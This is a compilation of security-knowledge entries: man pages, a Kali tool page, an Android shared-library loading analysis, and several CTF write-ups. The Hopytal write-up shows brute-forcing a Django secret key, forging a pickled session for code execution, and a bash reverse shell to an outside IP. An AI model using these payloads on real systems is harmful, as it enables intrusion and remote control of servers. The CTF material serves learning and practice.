2017_seccon_simon_and_speck_block_ciphers git:(master) python exp.py [+] MBruteforcing: Found key: "6Pz0" ``` ## 参考文献 - https://en.wikipedia.org/wiki/Simon_(cipher)
sec-knowleage
思科集群检索工具。 [cisco-ocs主页](http://www.blackangels.it/) | [Kali cisco-ocs仓库](http://git.kali.org/gitweb/?p=packages/cisco-ocs.git;a=summary) Author: OverIP License: GPLv2 包括在cisco-ocs中的工具 cisco-ocs – 思科集群检索工具 root@kali:~# cisco-ocs ********************************* OCS v 0.2 ********************************** **** **** **** coded by OverIP **** **** [email protected] **** **** under GPL License **** **** **** **** usage: ./ocs xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy **** **** **** **** xxx.xxx.xxx.xxx = range start IP **** **** yyy.yyy.yyy.yyy = range end IP **** **** **** ********************************************************** ******************** use: cisco-ocs IP IP cisco-ocs范例 在给定的IP范围内(192.168.99.200 192.168.99.202)搜索思科设备: root@kali:~# cisco-ocs 192.168.99.200 192.168.99.202 ********************************* OCS v 0.2 ********************************** **** **** **** coded by OverIP **** **** [email protected] **** **** under GPL License **** **** **** **** usage: ./ocs xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy **** **** **** **** xxx.xxx.xxx.xxx = range start IP **** **** yyy.yyy.yyy.yyy = range end IP **** **** **** ****************************************************************************** -192.168.99.200 |Logging... 192.168.99.200 |Router not vulnerable. -192.168.99.201 |Logging... 192.168.99.201 |Router not vulnerable. -192.168.99.202 |Logging... 192.168.99.202 |Router not vulnerable.
sec-knowleage
diff3 === 比较3个文件不同的地方 ## 补充说明 **diff3命令** 用于比较3个文件,将3个文件的不同的地方显示到标准输出。 ### 语法 ```shell diff3(选项)(参数) ``` ### 选项 ```shell -a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件; -A:合并第2个文件和第3个文件之间的不同到第1个文件中,有冲突内容用括号括起来; -B:与选项“-A”功能相同,但是不显示冲突的内容; -e/--ed:生成一个“-ed”脚本,用于将第2个文件和第3个文件之间的不同合并到第1个文件中; --easy-only:除了不显示互相重叠的变化,与选项“-e”的功能相同; -i:为了和system V系统兼容,在“ed”脚本的最后生成“w”和“q”命令。此选项必须和选项“-AeExX3”连用,但是不能和“-m”连用; --initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。 ``` ### 参数 * 文件1:指定要比较的第1个文件; * 文件2:指定要比较的第2个文件; * 文件3:指定要比较的第3个文件。
sec-knowleage
# hopytal Do you like guessing? Love, even? Oh boy, do I have a challenge for you. > This random secret key generator is used to sign covid certificates issued from the Hopytal laboratory. > > Its behavior seems strange.. the alphabet must be printable. > > Valid 2G+ certificates may be present on the server. > > Dirbusting is not needed to solve the challenge. ### 1. Key generator First, you have to **guess** the algorithm used by the random key generator. After trying and failing multiple times, we guessed correctly: ```python def deterministic_key(seed): CHARSET = string.digits + string.ascii_lowercase + string.ascii_uppercase + string.punctuation random.seed(seed) out = "" for i in range(50): out += random.choice(CHARSET) return out ``` There's nothing to suggest this in the description or on the webpage, so it was a long shot. ### 2. Django secret Now, you have to **guess** that the django secret was generated using the same brokem algorithm. But how to check it? You can get a valid session ID by going to `http://hopytal.insomnihack.ch/accounts/login/?next=/login` with invalid sessionid (Why? I don't know, it was discovered by web people). ```python def get_session_id(): r = requests.get("http://hopytal.insomnihack.ch/accounts/login/?next=/login", cookies={"sessionid":"asdasdasdasd"}) o = r.cookies["sessionid"] return o ``` This will give a session ID like ``` gAUplC4:1nDwUa:bGjgxwu5sOyd8CZWX0jbejGIXjxylHQjQELbXWvoFf4 ``` Of course with this you can also check if you have a valid secret, using django's unsigner: ```python def unsign(payload, key): key = force_bytes(key) salt = 'django.contrib.sessions.backends.signed_cookies' try: TimestampSigner(key=key,salt=salt, algorithm='sha256').unsign(payload, max_age=200000000) return True except BadSignature as e: return False ``` Finally you can combine this and brute-force the secret: ```python SEED = int(time.time()) sid = get_session_id() print(sid) while True: SEED = SEED - 1 if SEED % 1000 == 0: print(datetime.datetime.fromtimestamp(SEED)) key = deterministic_key(SEED) if SEED % 1000 == 0: print(rrr) if unsign(sid, key): print(key, sid, unsign(sid, key)) break ``` Warning - this will take a long time. Instead of brute-forcing maybe 2-3 days, I was close to giving up after 6 months. Fortunately, one of our teammembers guessed that since > This random secret key generator is used to sign covid certificates issued from the Hopytal laboratory. We should bruteforce on the day of first COVID case in Switzerland. Yeah, that worked. For seed 1582585200 (Monday, February 24, 2020 23:00:00). The secret key is: ``` ^vAmq'D*[i3,J+5S(XCUDd2yLlE<5tgtDY$$fVAl.}!sSocr8} ``` ### 3. RCE Now I'll save us some embarassment and won't describe the incorrect guesses we made here. Instead, we finally ~~observed~~ **guessed** that django uses non-default serialisation engine: ``` >>> session_id = "gAV9lC4:1nDwjx:VyNh0cUKcNH49UZd6a_ePSAyGGm274XHwKqvHMCti7g" >>> session_data = base64.b64decode("gAV9lC4==") >>> pickle.loads(session_data) {} ``` Yeah, pickle. So we get a RCE with some nice python object: ```python class RCE: def __reduce__(self): cmd = ('/bin/bash -c \'/bin/bash -i >& /dev/tcp/12.93.211.51/4446 0>&1\'') return os.system, (cmd,) pickled = pickle.dumps(RCE()) ``` And... No, that's not over yet. ### 4. Where is the flag Because now you have to **guess** where the flag is. And the server had almost no binaries. Only bash and python. So first, we had to upload a statically `busybox` (with python) and chmod it (with python). Then we downloaded the application source code, but there was literally nothing interesting in there. Then the server crashed for everyone (there was only one server, and it was shared with everyone, and the challenge had RCE). Then we found a file `/home/http_service/covidcert_2g+.pdf`, but had no permission to read it (and no way to escalate). Then we found a SFTP config ``` "host": "172.21.2.105", "user": "root", "password": "Pass.123", "port": "22", ``` and after wasting a lot of time trying to connect there with busybox, it turned out to be a false flag. Then we found a flag `INS{yOu_g0t_th3_piCkl3}` in a random file in `/tmp`, and it turned out to be a troll/joke by some other team (the infra was shared). Than we guessed, that maybe there'ss another internal network service that listens only on 127.0.0.1: ``` Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 6469/dropbearmulti tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 4794/dropbearmulti tcp 0 0 127.0.0.1:8087 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN 13/python ``` Yeah, that port 8087 is sus. We just uploded a statically compiled curl and... ``` /tmp/curl localhost:8087 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>Directory listing for /</title> </head> <body> <h1>Directory listing for /</h1> <hr> <ul> <li><a href=".bash_logout">.bash_logout</a></li> <li><a href=".bashrc">.bashrc</a></li> <li><a href=".profile">.profile</a></li> <li><a href="covidcert_2g%2B.pdf">covidcert_2g+.pdf</a></li> <li><a href="http.sh">http.sh</a></li> </ul> <hr> </body> ``` And finally: ``` $ /tmp/curl localhost:8087/covidcert_2g%2B.pdf /tmp/curl localhost:8087/covidcert_2g%2B.pdf INS{I_4m_Pickl3_R1ck!_4nD_h3r3_1s_Ur_2G+_c0v1d_C3rT} ``` #### Parting thoughts I have no idea, why this had to be so complicated. The first step was pure clairvoyance, and a few last steps was just burning time. But what do I know, usually I work on RE or Crypto. Webs are just not my favourite category, **I guess**.
sec-knowleage
## XOR Crypter (crypto 200p) Description: The state of art on encryption, can you defeat it? CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA= ### PL [ENG](#eng-version) Cały kod szyfrujący jest [tutaj](shiftcrypt.py). Szyfrowanie jest bardzo proste, aż dziwne że zadanie było za 200 punktów. Szyfrowanie polega na podzieleniu wejściowego tekstu na 4 bajtowe kawałki (po dodaniu paddingu jeśli to konieczne, aby rozmiar wejścia był wielokrotnością 4 bajtów), rzutowanie ich na inta a następnie wykonywana jest operacja `X xor X >>16`. Jeśli oznaczymy kolejnymi literami bajty tego inta uzyskujemy: `ABCD ^ ABCD >> 16 = ABCD ^ 00AB = (A^0)(B^0)(C^A)(D^B) = AB(C^A)(D^B)` Jak widać dwa pierwsze bajty są zachowywane bez zmian a dwa pozostałe bajty są xorowane z tymi dwoma niezmienionymi. Wiemy także że xor jest operacją odwracalną i `(A^B)^B = A` możemy więc odwrócić szyfrowanie dwóch ostatnich bajtów xorując je jeszcze raz z pierwszym oraz drugim bajtem (pamiętając przy tym o kolejności bajtów) ```python data = "CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=" decoded = base64.b64decode(data) blocks = struct.unpack("I" * (len(decoded) / 4), decoded) output = '' for block in blocks: bytes = map(ord, struct.pack("I", block)) result = [bytes[0] ^ bytes[2], bytes[1] ^ bytes[3], bytes[2], bytes[3]] output += "".join(map(chr, result)) print(output) ``` W wyniku czego uzyskujemy flagę: `EKO{unshifting_the_unshiftable}` ### ENG version Cipher code is [here](shiftcrypt.py). The cipher is actually very simple, it was very strange that the task was worth 200 point. The cipher splits the input text in 4 byte blocks (after adding padding if necessary so that the input is a multiply of 4 bytes), casting each block to integer and the performing `X xor X >>16`. If we mark each byte of the single block with consecutive alphabet letters we get: `ABCD ^ ABCD >> 16 = ABCD ^ 00AB = (A^0)(B^0)(C^A)(D^B) = AB(C^A)(D^B)` As can be noticed, first two bytes are unchanged and last two are xored with those two unchanged. We also know that xor is reversible and `(A^B)^B = A` so we can revert the cipher of the last two bytes by xoring them again with first and second byte (keeping in mind the byte order). ```python data = "CjBPewYGc2gdD3RpMRNfdDcQX3UGGmhpBxZhYhFlfQA=" decoded = base64.b64decode(data) blocks = struct.unpack("I" * (len(decoded) / 4), decoded) output = '' for block in blocks: bytes = map(ord, struct.pack("I", block)) result = [bytes[0] ^ bytes[2], bytes[1] ^ bytes[3], bytes[2], bytes[3]] output += "".join(map(chr, result)) print(output) ``` As a result we get: `EKO{unshifting_the_unshiftable}`
sec-knowleage
.TH SMBTAR 1 "11 Nov 1999" "smbtar 2.0.6" .PP .SH NAME smbtar \ - 直接备份SMB/CIFS共享资源到UNIX磁带设备的shell脚本 .PP .SH 总览 .PP \fBsmbtar\fP -s server [-p password] [-x service] [-X] [-d directory] [-u user] [-t tape] [-b blocksize] [-N filename] [-i] [-r] [-l log level] [-v] filenames .PP .SH 描述 .PP 此程序是samba套件的一部分。 .PP smbtar是个在smbclient基础上建立的非常小的shell脚本,用于把SMB共享资源直接写到磁带上。 .PP .SH 选项 .PP .IP .IP "\fB-s server\fP" 指定提供共享资源的SMB/CIFS服务器。 .IP .IP "\fB-x service\fP" 指定要联接的共享资源。默认情况下就是备份。 .IP .IP "\fB-X\fP" 排除模式,从建立或者恢复的备份项中排除文件名。 .IP .IP "\fB-d directory\fP" 在恢复 / 备份文件前改变初始化目录directory。 .IP .IP "\fB-v\fP" 指定用详细模式。 .IP .IP "\fB-p password\fP" 指定要访问的共享资源的口令。默认是:none。 .IP .IP "\fB-u user\fP" 指定联接时的用户账号。默认是:UNIX登录账号。 .IP .IP "\fB-t tape\fP" 指定所用的磁带设备。这里可能是正常的文件或磁带设备。默认是:TAPE 环境变量;如 果不指定的话,以tar.out作为文件名。 .IP .IP "\fB-b blocksize\fP" 指定块比例。默认是20,请查看tar (1)中的完整解释。 .IP .IP "\fB-N filename\fP" 只备份比filename指定文件更新的文件。可以用在记录文件中以实现增量备份。 .IP .IP "\fB-i\fP" 指定增量模式;tar文件只备份设定归档位的文件。在对每个文件进行读取时归档位可以重新设定。 .IP .IP "\fB-r\fP" 指定做恢复操作。从tar备份文件中恢复文件到共享资源上。 .IP .IP "\fB-l log level\fP" 记录(调试)等级。这与smbclient (1)的-d参数含义相当。 .IP .PP .SH 环境变量 .PP TAPE变量指定了执行写操作的默认磁带设备。可以用-t选项来重设。 .PP .SH 错误 .PP 从smbclient中调用tar命令及原始的tar命令与smbtar脚本有些不大相同的选项。 .PP .SH 警告 .PP 基于安全性方面的站点不太喜欢用脚本来处理PC口令。在共享资源接口上备份和恢复会在文件 列表上进行工作。smbtar和GNU的tar一起使用非常出色,但可能和其它的一些版本使用时并 不太好。 .PP .SH 版本 .PP 此手册页是针对samba套件版本2.0的。 .PP .SH 另见 .PP \fBsmbclient (1)\fP, \fBsmb\&.conf (5)\fP .PP .SH 诊断 参见smbclient命令中的DIAGNOSTICS部分。 .SH 作者 .PP samba软件和相关工具最初由Andrew Tridgell [email protected]创建。samba现在由 开发组作为类似Linux内核开发采用的开放源代码计划方式来发展。 .PP samba手册页最初由Karl Auer撰写。它的源码已被转换成YODL(一种极好的开放源代码软件,可 以在ftp://ftp.icce.rug.nl/pub/unix/处获得)格式并已由Jeremy Allison更新到samba2.0版本。 .PP 请参见samba (7)查找如何获得一份完整的维护者列表以及如何提交错误报告及注解等等。 .SH "[中文版维护人]" .B meaculpa <[email protected]> .SH "[中文版最新更新]" .B 2000/12/08 .SH "[中国 Linux 论坛 man 手册页翻译计划]" .BI http://cmpp.linuxforum.net
sec-knowleage
# so 介绍 ## 基本介绍 - 为什么会用到 Shared Object(SO) - 开发效率 - 快速移植 - so 的版本 - 根据 CPU 平台有所不一样 ## 加载方法 - System.loadLibrary - 如果加载的文件名是 xxx ,那么其实加载的是项目中 libs 目录下的 libxxx.so文件。 - System.load - 对应 lib 的绝对路径。 主要使用第一种方式,第二种方式主要用于在插件中加载 so 文件。 ## loadLibrary 加载流程 根据官方 API 介绍 > The call `System.loadLibrary(name)` is effectively equivalent to the call > > > ``` > > Runtime.getRuntime().loadLibrary(name) > > ``` 可以看出该函数其实调用的是 Runtime.java( `libcore/luni/src/main/java/java/lang/Runtime.java` )中的函数 loadLibrary,继而会继续调用 loadLibrary 另一个重载函数,它包含两个参数 - libame,我们传入的库名字 - VMStack.getCallingClassLoader(),类加载器 ClassLoader,方便于去寻找相应的 library。 ```java /** * Loads and links the library with the specified name. The mapping of the * specified library name to the full path for loading the library is * implementation-dependent. * * @param libName * the name of the library to load. * @throws UnsatisfiedLinkError * if the library can not be loaded. */ public void loadLibrary(String libName) { loadLibrary(libName, VMStack.getCallingClassLoader()); } /* * Searches for a library, then loads and links it without security checks. */ void loadLibrary(String libraryName, ClassLoader loader) { if (loader != null) { String filename = loader.findLibrary(libraryName); if (filename == null) { throw new UnsatisfiedLinkError("Couldn't load " + libraryName + " from loader " + loader + ": findLibrary returned null"); } String error = doLoad(filename, loader); if (error != null) { throw new UnsatisfiedLinkError(error); } return; } String filename = System.mapLibraryName(libraryName); List<String> candidates = new ArrayList<String>(); String lastError = null; for (String directory : mLibPaths) { String candidate = directory + filename; candidates.add(candidate); if (IoUtils.canOpenReadOnly(candidate)) { String error = doLoad(candidate, loader); if (error == null) { return; // We successfully loaded the library. Job done. } lastError = error; } } if (lastError != null) { throw new UnsatisfiedLinkError(lastError); } throw new UnsatisfiedLinkError("Library " + libraryName + " not found; tried " + candidates); } ``` 可以看出,程序主要的功能正如注释所说 > Searches for a library, then loads and links it without security checks. 而其中所采用的加载函数是 doLoad 函数。在这里,我们先不继续分析,我们来看看 load 函数如何。 ## load 加载流程 根据官方 API 说明,如下 > The call System.load(name) is effectively equivalent to the call: > > ```java > Runtime.getRuntime().load(name) > ``` 其同样也是调用 Runtime.java 中的函数,如下 ```java /** * Loads and links the dynamic library that is identified through the * specified path. This method is similar to {@link #loadLibrary(String)}, * but it accepts a full path specification whereas {@code loadLibrary} just * accepts the name of the library to load. * * @param pathName * the absolute (platform dependent) path to the library to load. * @throws UnsatisfiedLinkError * if the library can not be loaded. */ public void load(String pathName) { load(pathName, VMStack.getCallingClassLoader()); } /* * Loads and links the given library without security checks. */ void load(String pathName, ClassLoader loader) { if (pathName == null) { throw new NullPointerException("pathName == null"); } String error = doLoad(pathName, loader); if (error != null) { throw new UnsatisfiedLinkError(error); } } ``` 其同样也会调用load 的两个参数的重载函数,继而会调用doLoad函数。 **无论是上面的哪一种加载方法,最后都会调用Runtime.java中的doLoad函数。** ## 核心加载流程 ### doLoad 下面我们来分析一下 doLoad 函数,如下 ```java private String doLoad(String name, ClassLoader loader) { // Android apps are forked from the zygote, so they can't have a custom LD_LIBRARY_PATH, // which means that by default an app's shared library directory isn't on LD_LIBRARY_PATH. // The PathClassLoader set up by frameworks/base knows the appropriate path, so we can load // libraries with no dependencies just fine, but an app that has multiple libraries that // depend on each other needed to load them in most-dependent-first order. // We added API to Android's dynamic linker so we can update the library path used for // the currently-running process. We pull the desired path out of the ClassLoader here // and pass it to nativeLoad so that it can call the private dynamic linker API. // We didn't just change frameworks/base to update the LD_LIBRARY_PATH once at the // beginning because multiple apks can run in the same process and third party code can // use its own BaseDexClassLoader. // We didn't just add a dlopen_with_custom_LD_LIBRARY_PATH call because we wanted any // dlopen(3) calls made from a .so's JNI_OnLoad to work too. // So, find out what the native library search path is for the ClassLoader in question... String ldLibraryPath = null; if (loader != null && loader instanceof BaseDexClassLoader) { ldLibraryPath = ((BaseDexClassLoader) loader).getLdLibraryPath(); } // nativeLoad should be synchronized so there's only one LD_LIBRARY_PATH in use regardless // of how many ClassLoaders are in the system, but dalvik doesn't support synchronized // internal natives. synchronized (this) { return nativeLoad(name, loader, ldLibraryPath); } } ``` 虽然源代码很长,但是很多部分都是注释,也说明了为什么要使用这样的一个函数的原因,主要有以下原因 - Android App 都是由 zygote fork 生成的,因此他们的 LD_LIBRARY_PATH 就是 zygote 的LD_LIBRARY_PATH,这也说明 apk 中的 so 文件不在这个路径下。 - so 文件之间可能存在相互依赖,我们需要按照其按依赖关系的逆方向进行加载。 函数的基本思想就是找到库文件的路径,然后使用 synchronized 方式调用了 nativeLoad 函数。 ### nativeload 而 nativeload 函数其实就是一个原生层的函数 ```java // TODO: should be synchronized, but dalvik doesn't support synchronized internal natives. private static native String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath); ``` 相应的文件路径为 `dalvik/vm/native/java_lang_Runtime.cpp` ,具体的 nativeLoad 函数如下 ```C const DalvikNativeMethod dvm_java_lang_Runtime[] = { { "freeMemory", "()J", Dalvik_java_lang_Runtime_freeMemory }, { "gc", "()V", Dalvik_java_lang_Runtime_gc }, { "maxMemory", "()J", Dalvik_java_lang_Runtime_maxMemory }, { "nativeExit", "(I)V", Dalvik_java_lang_Runtime_nativeExit }, { "nativeLoad", "(Ljava/lang/String;Ljava/lang/ClassLoader;Ljava/lang/String;)Ljava/lang/String;", Dalvik_java_lang_Runtime_nativeLoad }, { "totalMemory", "()J", Dalvik_java_lang_Runtime_totalMemory }, { NULL, NULL, NULL }, }; ``` 可以看出在 native 层对应的函数是 Dalvik_java_lang_Runtime_nativeLoad,如下 ```C++ /* * static String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath) * * Load the specified full path as a dynamic library filled with * JNI-compatible methods. Returns null on success, or a failure * message on failure. */ static void Dalvik_java_lang_Runtime_nativeLoad(const u4* args, JValue* pResult) { StringObject* fileNameObj = (StringObject*) args[0]; Object* classLoader = (Object*) args[1]; StringObject* ldLibraryPathObj = (StringObject*) args[2]; assert(fileNameObj != NULL); char* fileName = dvmCreateCstrFromString(fileNameObj); if (ldLibraryPathObj != NULL) { char* ldLibraryPath = dvmCreateCstrFromString(ldLibraryPathObj); void* sym = dlsym(RTLD_DEFAULT, "android_update_LD_LIBRARY_PATH"); if (sym != NULL) { typedef void (*Fn)(const char*); Fn android_update_LD_LIBRARY_PATH = reinterpret_cast<Fn>(sym); (*android_update_LD_LIBRARY_PATH)(ldLibraryPath); } else { ALOGE("android_update_LD_LIBRARY_PATH not found; .so dependencies will not work!"); } free(ldLibraryPath); } StringObject* result = NULL; char* reason = NULL; bool success = dvmLoadNativeCode(fileName, classLoader, &reason); if (!success) { const char* msg = (reason != NULL) ? reason : "unknown failure"; result = dvmCreateStringFromCstr(msg); dvmReleaseTrackedAlloc((Object*) result, NULL); } free(reason); free(fileName); RETURN_PTR(result); } ``` 根据注释,我们可以确定关键的代码在 ```c++ bool success = dvmLoadNativeCode(fileName, classLoader, &reason); ``` 这一行执行后会告诉我们加载对应的 so 是否成功。 ### dvmLoadNativeCode 其基本的代码如下,我们可以根据注释来简单判断一下该函数的功能: - 程序根据指定的绝对路径加载相应的 native code,但是如果该 library 已经加载了,那么就不会再次进行加载。 此外,正如 JNI 中所说,我们不能将一个库加载到多个 class loader 中,也就是说,一个 library 只会和一个 class loader 关联。 函数的基本执行流程如下 1. 利用 findSharedLibEntry 判断是否已经加载了这个库,以及如果已经加载的话,是不是采用的是同一个class loader。 ```c++ /* * Load native code from the specified absolute pathname. Per the spec, * if we've already loaded a library with the specified pathname, we * return without doing anything. * * TODO? for better results we should absolutify the pathname. For fully * correct results we should stat to get the inode and compare that. The * existing implementation is fine so long as everybody is using * System.loadLibrary. * * The library will be associated with the specified class loader. The JNI * spec says we can't load the same library into more than one class loader. * * Returns "true" on success. On failure, sets *detail to a * human-readable description of the error or NULL if no detail is * available; ownership of the string is transferred to the caller. */ bool dvmLoadNativeCode(const char* pathName, Object* classLoader, char** detail) { SharedLib* pEntry; void* handle; bool verbose; /* reduce noise by not chattering about system libraries */ verbose = !!strncmp(pathName, "/system", sizeof("/system")-1); verbose = verbose && !!strncmp(pathName, "/vendor", sizeof("/vendor")-1); if (verbose) ALOGD("Trying to load lib %s %p", pathName, classLoader); *detail = NULL; /* * See if we've already loaded it. If we have, and the class loader * matches, return successfully without doing anything. */ pEntry = findSharedLibEntry(pathName); if (pEntry != NULL) { if (pEntry->classLoader != classLoader) { ALOGW("Shared lib '%s' already opened by CL %p; can't open in %p", pathName, pEntry->classLoader, classLoader); return false; } if (verbose) { ALOGD("Shared lib '%s' already loaded in same CL %p", pathName, classLoader); } if (!checkOnLoadResult(pEntry)) return false; return true; } ``` 2. 如果没有加载的话,就会利用 dlopen 打开该共享库。 ```c++ /* * Open the shared library. Because we're using a full path, the system * doesn't have to search through LD_LIBRARY_PATH. (It may do so to * resolve this library's dependencies though.) * * Failures here are expected when java.library.path has several entries * and we have to hunt for the lib. * * The current version of the dynamic linker prints detailed information * about dlopen() failures. Some things to check if the message is * cryptic: * - make sure the library exists on the device * - verify that the right path is being opened (the debug log message * above can help with that) * - check to see if the library is valid (e.g. not zero bytes long) * - check config/prelink-linux-arm.map to ensure that the library * is listed and is not being overrun by the previous entry (if * loading suddenly stops working on a prelinked library, this is * a good one to check) * - write a trivial app that calls sleep() then dlopen(), attach * to it with "strace -p <pid>" while it sleeps, and watch for * attempts to open nonexistent dependent shared libs * * This can execute slowly for a large library on a busy system, so we * want to switch from RUNNING to VMWAIT while it executes. This allows * the GC to ignore us. */ Thread* self = dvmThreadSelf(); ThreadStatus oldStatus = dvmChangeStatus(self, THREAD_VMWAIT); handle = dlopen(pathName, RTLD_LAZY); dvmChangeStatus(self, oldStatus); if (handle == NULL) { *detail = strdup(dlerror()); ALOGE("dlopen(\"%s\") failed: %s", pathName, *detail); return false; } ``` 其中的 dlopen 函数(`bionic/linker/dlfcn.cpp`)如下 ```c++ void* dlopen(const char* filename, int flags) { ScopedPthreadMutexLocker locker(&gDlMutex); soinfo* result = do_dlopen(filename, flags); if (result == NULL) { __bionic_format_dlerror("dlopen failed", linker_get_error_buffer()); return NULL; } return result; } ``` 其会调用 do_dlopen 函数(`bionic/linker/linker.cpp`),如下 ```c++ soinfo* do_dlopen(const char* name, int flags) { if ((flags & ~(RTLD_NOW|RTLD_LAZY|RTLD_LOCAL|RTLD_GLOBAL)) != 0) { DL_ERR("invalid flags to dlopen: %x", flags); return NULL; } set_soinfo_pool_protection(PROT_READ | PROT_WRITE); soinfo* si = find_library(name); //判断是否有这个库,有的话,需要完成初始化工作 if (si != NULL) { si->CallConstructors(); } set_soinfo_pool_protection(PROT_READ); return si; } ``` 在找到对应的库之后,会使用 `si->CallConstructors();` 来构造相关信息,如下 ```c++ void soinfo::CallConstructors() { if (constructors_called) { return; } // We set constructors_called before actually calling the constructors, otherwise it doesn't // protect against recursive constructor calls. One simple example of constructor recursion // is the libc debug malloc, which is implemented in libc_malloc_debug_leak.so: // 1. The program depends on libc, so libc's constructor is called here. // 2. The libc constructor calls dlopen() to load libc_malloc_debug_leak.so. // 3. dlopen() calls the constructors on the newly created // soinfo for libc_malloc_debug_leak.so. // 4. The debug .so depends on libc, so CallConstructors is // called again with the libc soinfo. If it doesn't trigger the early- // out above, the libc constructor will be called again (recursively!). constructors_called = true; if ((flags & FLAG_EXE) == 0 && preinit_array != NULL) { // The GNU dynamic linker silently ignores these, but we warn the developer. PRINT("\"%s\": ignoring %d-entry DT_PREINIT_ARRAY in shared library!", name, preinit_array_count); } if (dynamic != NULL) { for (Elf32_Dyn* d = dynamic; d->d_tag != DT_NULL; ++d) { if (d->d_tag == DT_NEEDED) { const char* library_name = strtab + d->d_un.d_val; TRACE("\"%s\": calling constructors in DT_NEEDED \"%s\"", name, library_name); find_loaded_library(library_name)->CallConstructors(); //判断库是否已经加载 } } } TRACE("\"%s\": calling constructors", name); // DT_INIT should be called before DT_INIT_ARRAY if both are present. CallFunction("DT_INIT", init_func); CallArray("DT_INIT_ARRAY", init_array, init_array_count, false); } ``` 可以看出,正如注释所写的,如说 .init 函数与 init_array 存在的话,程序会依次调用 .init 函数与.init_array 中对应位置的代码。相关说明如下 ```c++ #define DT_INIT 12 /* Address of initialization function */ #define DT_INIT_ARRAY 25 /* Address of initialization function array */ ``` 3. 建立一个打开的共享库的 entry,并试图其加入到对应的 list 中,方便管理。如果加入失败的话,就会对其进行释放。 ```c++ /* create a new entry */ SharedLib* pNewEntry; pNewEntry = (SharedLib*) calloc(1, sizeof(SharedLib)); pNewEntry->pathName = strdup(pathName); pNewEntry->handle = handle; pNewEntry->classLoader = classLoader; dvmInitMutex(&pNewEntry->onLoadLock); pthread_cond_init(&pNewEntry->onLoadCond, NULL); pNewEntry->onLoadThreadId = self->threadId; /* try to add it to the list */ SharedLib* pActualEntry = addSharedLibEntry(pNewEntry); if (pNewEntry != pActualEntry) { ALOGI("WOW: we lost a race to add a shared lib (%s CL=%p)", pathName, classLoader); freeSharedLibEntry(pNewEntry); return checkOnLoadResult(pActualEntry); } ``` 4. 如果加载成功,就会利用 dlsym 来获取对应 so 文件中的 JNI_OnLoad 函数,如果存在该函数的话,就进行调用,否则,就会直接返回。 ```c++ else { if (verbose) ALOGD("Added shared lib %s %p", pathName, classLoader); bool result = false; void* vonLoad; int version; vonLoad = dlsym(handle, "JNI_OnLoad"); if (vonLoad == NULL) { ALOGD("No JNI_OnLoad found in %s %p, skipping init", pathName, classLoader); result = true; } else { /* * Call JNI_OnLoad. We have to override the current class * loader, which will always be "null" since the stuff at the * top of the stack is around Runtime.loadLibrary(). (See * the comments in the JNI FindClass function.) */ OnLoadFunc func = (OnLoadFunc)vonLoad; Object* prevOverride = self->classLoaderOverride; self->classLoaderOverride = classLoader; oldStatus = dvmChangeStatus(self, THREAD_NATIVE); if (gDvm.verboseJni) { ALOGI("[Calling JNI_OnLoad for \"%s\"]", pathName); } version = (*func)(gDvmJni.jniVm, NULL); dvmChangeStatus(self, oldStatus); self->classLoaderOverride = prevOverride; if (version == JNI_ERR) { *detail = strdup(StringPrintf("JNI_ERR returned from JNI_OnLoad in \"%s\"", pathName).c_str()); } else if (dvmIsBadJniVersion(version)) { *detail = strdup(StringPrintf("Bad JNI version returned from JNI_OnLoad in \"%s\": %d", pathName, version).c_str()); /* * It's unwise to call dlclose() here, but we can mark it * as bad and ensure that future load attempts will fail. * * We don't know how far JNI_OnLoad got, so there could * be some partially-initialized stuff accessible through * newly-registered native method calls. We could try to * unregister them, but that doesn't seem worthwhile. */ } else { result = true; } if (gDvm.verboseJni) { ALOGI("[Returned %s from JNI_OnLoad for \"%s\"]", (result ? "successfully" : "failure"), pathName); } } if (result) pNewEntry->onLoadResult = kOnLoadOkay; else pNewEntry->onLoadResult = kOnLoadFailed; pNewEntry->onLoadThreadId = 0; /* * Broadcast a wakeup to anybody sleeping on the condition variable. */ dvmLockMutex(&pNewEntry->onLoadLock); pthread_cond_broadcast(&pNewEntry->onLoadCond); dvmUnlockMutex(&pNewEntry->onLoadLock); return result; } } ``` ## 总结 这说明加载 .so 文件时,会按照执行如下顺序的函数(如果不存在的话,就会跳过) - .init 函数 - .init_array 中的函数 - JNI_OnLoad 函数
sec-knowleage
eject === 用来退出抽取式设备 ## 补充说明 **eject命令** 用来退出抽取式设备。若设备已挂入,则eject命令会先将该设备卸除再退出。 eject允许可移动介质(典型是cd-ROM、软盘、磁带、或者JAZ以及zip磁盘)在软件控制下弹出。该命令也可以控制一些多盘片CD-ROM控制器,控制一些设备支持的自动弹出功能,以及控制一些CD-ROM驱动器磁盘托盘的关闭。与name相应的设备将被弹出,name可以为设备文件或者其挂载点,也可以为完整路径或者省略前面的/dev或者/mnt设备文件名。如果没有指定name,缺省使用cdrom。 有四种不同的弹出的方法,具体要看设备是CD-ROM, SCSI设备,可移动软盘,还是磁带而定。默认的弹出会依次尝试所有四种方法,直到成功为止。如果设备当前是挂载上来的,那么在弹出前要先卸载。 ### 语法 ```shell eject(选项)(参数) ``` ### 选项 ```shell -a<开关>或--auto<开关>:控制设备的自动退出功能; -c<光驱编号>或--changerslut<光驱编号> 选择光驱柜中的光驱; -d或--default:显示预设的设备,而不是实际执行动作; -f或--floppy:退出抽取式磁盘; -h或--help:显示帮助; -n或--noop:显示指定的设备; -q或--tape:退出磁带; -r或--cdrom:退出光盘; -s或--scsi:以SCSI指令来退出设备; -t或--trayclose:关闭光盘的托盘; -v或--verbose:执行时,显示详细的说明。 ``` ### 参数 设备名:指定弹出的设备名称。
sec-knowleage
